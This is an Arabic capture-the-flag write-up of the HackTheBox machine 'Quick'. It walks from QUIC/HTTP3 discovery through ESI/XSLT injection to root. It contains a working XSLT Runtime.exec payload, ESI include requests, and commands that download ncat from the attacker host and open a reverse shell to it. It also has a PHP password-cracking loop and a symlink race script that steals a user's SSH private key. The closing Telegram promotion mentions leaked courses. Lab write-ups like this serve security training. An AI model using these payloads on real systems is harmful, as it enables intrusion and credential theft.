
أستمر في نشر الحلول المرسلة لإنهاء الآلات من موقع HackTheBox .
في هذه المقالة ، نتعامل مع اتصال QUIC HTTP / 3 ، ونحصل على RCE بفضل حقن XSLT ونستخدم تقنية Race Condition للحصول على المفتاح الخاص للمستخدم.
الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر العمل أو من مضيف توجد به بيانات مهمة بالنسبة لك ، حيث تجد نفسك في شبكة خاصة مع أشخاص يعرفون شيئًا عن أمن المعلومات.
المعلومات التنظيمية
ريكون
هذا الجهاز لديه عنوان IP هو 10.10.10.186 ، والذي أقوم بإضافته إلى / etc / hosts.
10.10.10.186 quick.htb
الخطوة الأولى هي فحص المنافذ المفتوحة. نظرًا لأن مسح جميع المنافذ باستخدام nmap يستغرق وقتًا طويلاً ، فسوف أقوم بذلك أولاً باستخدام masscan. نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بمعدل 500 حزمة في الثانية.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186 --rate=500
الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، قم بإجراء فحص باستخدام الخيار -A.
nmap -A quick.htb -p9001,22
لذلك لدينا خدمتان - SSH وخادم الويب Apache. دعونا نرى ما يجب أن تقدمه الويب.
يوجد ارتباط إلى بوابة إلكترونية تقوم بتشغيل HTTPS ، لكن المنفذ مغلق. أضف DNS هذا إلى / etc / hosts.
10.10.10.186 portal.quick.htb
لكن المنفذ 443 مغلق! نجد أيضًا قائمة مثيرة للاهتمام على الموقع.
دعونا نفحص الدلائل باستخدام gobuster. في المعلمات ، نحدد عدد التدفقات 128 (-t) ، URL (-u) ، القاموس (-w) ، الامتدادات التي نهتم بها (-x) ورموز استجابة الخادم التي نحتاجها (-s).
gobuster dir -t 128 -u http://quick.htb:9001/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401
ونجد صفحات شيقة ، لكن جميعها تتطلب إذنًا. بعد قليل من الدوران حول هذا الموقع ، نشأ سؤال. لماذا أحتاج إلى ارتباط بالبوابة الإلكترونية إذا كان المنفذ المقابل للخادم مغلقًا. ثم سنقوم بفحص هذا المنفذ بدقة أكبر مرة أخرى.
nmap -p443 -A quick.htb
sudo nmap -p443 -A -sU quick.htb
وهذا المنفذ مفتوح لـ UDP!
نقطة الدخول
بالبحث في Google ، نجد مقالًا يصف تقنية QUIC (على غرار اسم السيارة).
علاوة على ذلك ، عند القراءة عن هذا البروتوكول ، علمنا أنه تمت إضافة القدرة على العمل مع هذا البروتوكول إلى Chrome.
لكن لا يمكن الاتصال بهذه الطريقة. ثم تذكر أنه تمت تصفية الاتصال وانتقل إلى هذه المقالة .
دعنا نثبته كما هو موضح في المقالة:
sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples
تم تجميع كل شيء بنجاح ، والآن سنقوم بتنفيذ طلب إلى موقعنا والحصول على إجابة!
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/
للراحة ، يمكنك حفظ الإخراج في ملف HTML وفتح المستند في متصفح ، لكنني معتاد عليه بالفعل. نرى رابطًا لصفحة بها مستندات ، لذا دعنا نشير إليها.
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs
ونرى وثيقتين. قم بتنزيلها.
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf
وفي Connectivity.pdf تقول كلمة المرور التي يمكننا تسجيل الدخول إليها ، نحتاج فقط إلى استخدام نوع من البريد الإلكتروني كاسم مستخدم.
دعنا نجمع المعلومات ... تم تقديم قائمة العملاء مسبقًا ، ولكن يمكننا أيضًا العثور على موظفين.
لنقم بإنشاء قائمة رسائل البريد الإلكتروني. لذا يشير تيم إلى QConsulting من المملكة المتحدة ، ومن المرجح أن يكون بريده الإلكتروني tim@qconsulting.co.uk. دعونا نصنع واحدة لجميع الأسماء. وبعد محاولة تسجيل الدخول تحتها ، نجحنا في الانتقال إلى elisa@wink.co.uk.
المستعمل
بعد أن نظرت حولي قليلاً ، لاحظت أن المكون الإضافي wappalyzer لا يعمل. دعنا نلقي نظرة على التقنيات المستخدمة مع whatweb.
whatweb http://quick.htb:9001/home.php
ونرى العنوان X-Powered-By: Esigate . دعونا نبحث عن مآثر.
لذلك يمكن أن ينتج حقن XSLT مع RCE. علمنا من gobuster أن هناك أيضًا صفحات search.php و Ticket.php. إذا تحولت إلى البحث. ثم سيتم إخبارنا أنه لا توجد سلسلة بحث.
ثم دعنا نمرر البحث عن المعلمات.
وعندما تبحث عن "2" ، تظهر نتيجة.
ولكن في صفحة التذكرة ، يمكنك إنشاء تذكرة.
ونحصل على السجل المقابل الذي يمكن إيجاده. يتم توضيح استغلال الضعف هنا بشكل جيد . وفقًا للمقال ، للحصول على RCE ، تحتاج إلى إرسال رابط إلى ملف XSL ، والذي سيكون به المحتوى التالي:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
حيث سيحتوي CDATA [] على الأمر الجاري تنفيذه. يجب أن نرسل تضمين هذه الملفات كرسالة.
<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>
ثم ابدأ المستمع على الجهاز المحلي.
nc -lvp 4321
والآن سنقوم بإنشاء التذاكر والرجوع إليها. نظرًا لأنه سيتم تخطي الحرفين ">" و "<" ، سنقوم بعمل ثلاثة استعلامات. سنقوم بتنزيل ncat ، ونمنحه إذن التنفيذ وإعادة الاتصال. فيما يلي قيم CDATA [] لثلاثة ملفات:
1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh
وسننفذ 6 طلبات (الأول محتوى الرسالة والثاني طلب التذكرة).
<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>
<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>
<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>
ونرى الاتصال.
المستخدم 2
للراحة ، لنقم بإنشاء وتسجيل مفتاح SSH.
الآن يمكنك الاتصال باستخدام مفتاحك الخاص. دعونا نتذكر ملف db.php الموجود على المواقع ، والذي يجب أن يحتوي على بيانات اعتماد للاتصال بقاعدة البيانات. دعونا التحقق من ذلك.
دعنا نتواصل مع أوراق الاعتماد المستلمة.
mysql -h localhost -u db_adm -p
لننتقل إلى قواعد البيانات المتاحة.
دعنا نختار قاعدة البيانات السريعة.
لنلق نظرة على الجدول في قاعدة البيانات هذه.
أخيرًا ، نحصل على بيانات من جدول المستخدمين.
نحصل على تجزئات ، لكنها لا تعمل على فرز md5. دعونا نرى الكود حيث تتم مقارنة التجزئة.
لذلك تدخل كلمة المرور في وظيفة التشفير أولاً. دعنا نكتب الكود الخاص بنا الذي سيتكرر على كلمات المرور.
<?php
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist)) {
$str = fgets($wordlist);
$str = trim($str);
echo "Find password: " . $str ." \r";
$tmp_hash = md5(crypt($str,'fa'));
if($hash == $tmp_hash){
echo "Password Found: ". $str."\n";
fclose($wordlist);
exit(0);
}
}
fclose($wordlist);
?>
ونحصل على كلمة المرور. لا يمكنك تغيير كلمة المرور محليًا ، كما أنها لا تعمل مع SSH أيضًا ، لذلك دعنا نتحقق من بقية كود المصدر. كما ترى من add_printer.php ، يتم قبول العديد من المعلمات ، بما في ذلك عنوان IP والمنفذ. بعد ذلك ، يتم إجراء اتصال لاختبار الاتصال.
يعد ملف job.php أكثر تشويقًا.
لكن لا يمكنك تسجيل الدخول إلى الخادم ، لأنه غير متوفر. دعنا نلقي نظرة على إعدادات خادم الويب. وبالتالي ، يتم إنشاء الملف ، ثم يتم نقله إلى المضيف والمنفذ المحدد عند إنشاء الطابعة. لكن بفضل تأخير السكون (0.5) وحقيقة أن أذونات الملف الذي تم إنشاؤه هي 777 ، يمكننا تغييره قبل إرساله ، بينما لدينا جميع الحقوق لهذا الدليل.
وبالتالي ، يمكنك كتابة نص يربط هذا الملف بالمفتاح الخاص للمستخدم!
cd /var/www/jobs;
while true;
do
for file in $(ls .);
do
rm -rf $file;
ln -s /home/srvadm/.ssh/id_rsa $file;
done
done
دعنا نلقي نظرة على إعدادات خادم الويب.
وبالتالي ، يعمل هذا الموقع نيابة عن srvadm ولا يمكن الوصول إليه إلا من خلال المضيف المحلي. دعنا نعيد توجيه المنفذ ونضيف الإدخال المناسب إلى / etc / hosts.
127.0.0.1 printerv2.quick.htb
sudo ssh -i sam -L 80:127.0.0.1:80 sam@quick.htb
الآن دعنا نذهب إلى الموقع.
ودعنا ننتقل إلى إضافة طابعة.
بعد إضافة الطابعة ، تحتاج إلى تنشيطها.
الآن دعنا نشغل البرنامج النصي الخاص بنا ونختار الطباعة.
وسنرى الاتصال بالمستمع ومفتاح SSH الخاص بالمستخدم.
جذر
وفي الدليل الرئيسي نجد دليل .cache.
ونجد ملف التكوين للطابعة.
وفي التكوين نجد سلسلة الاتصال بالطابعة:
https://username:password@ip/printer
من حيث نحصل على كلمة المرور التي يمكننا استخدامها للاتصال عبر SSH.
يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ودورات مسربة وبرامج. دعنا نجمع مجتمعًا ، حيث سيكون هناك أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي مشكلات تتعلق بتكنولوجيا المعلومات وأمن المعلومات.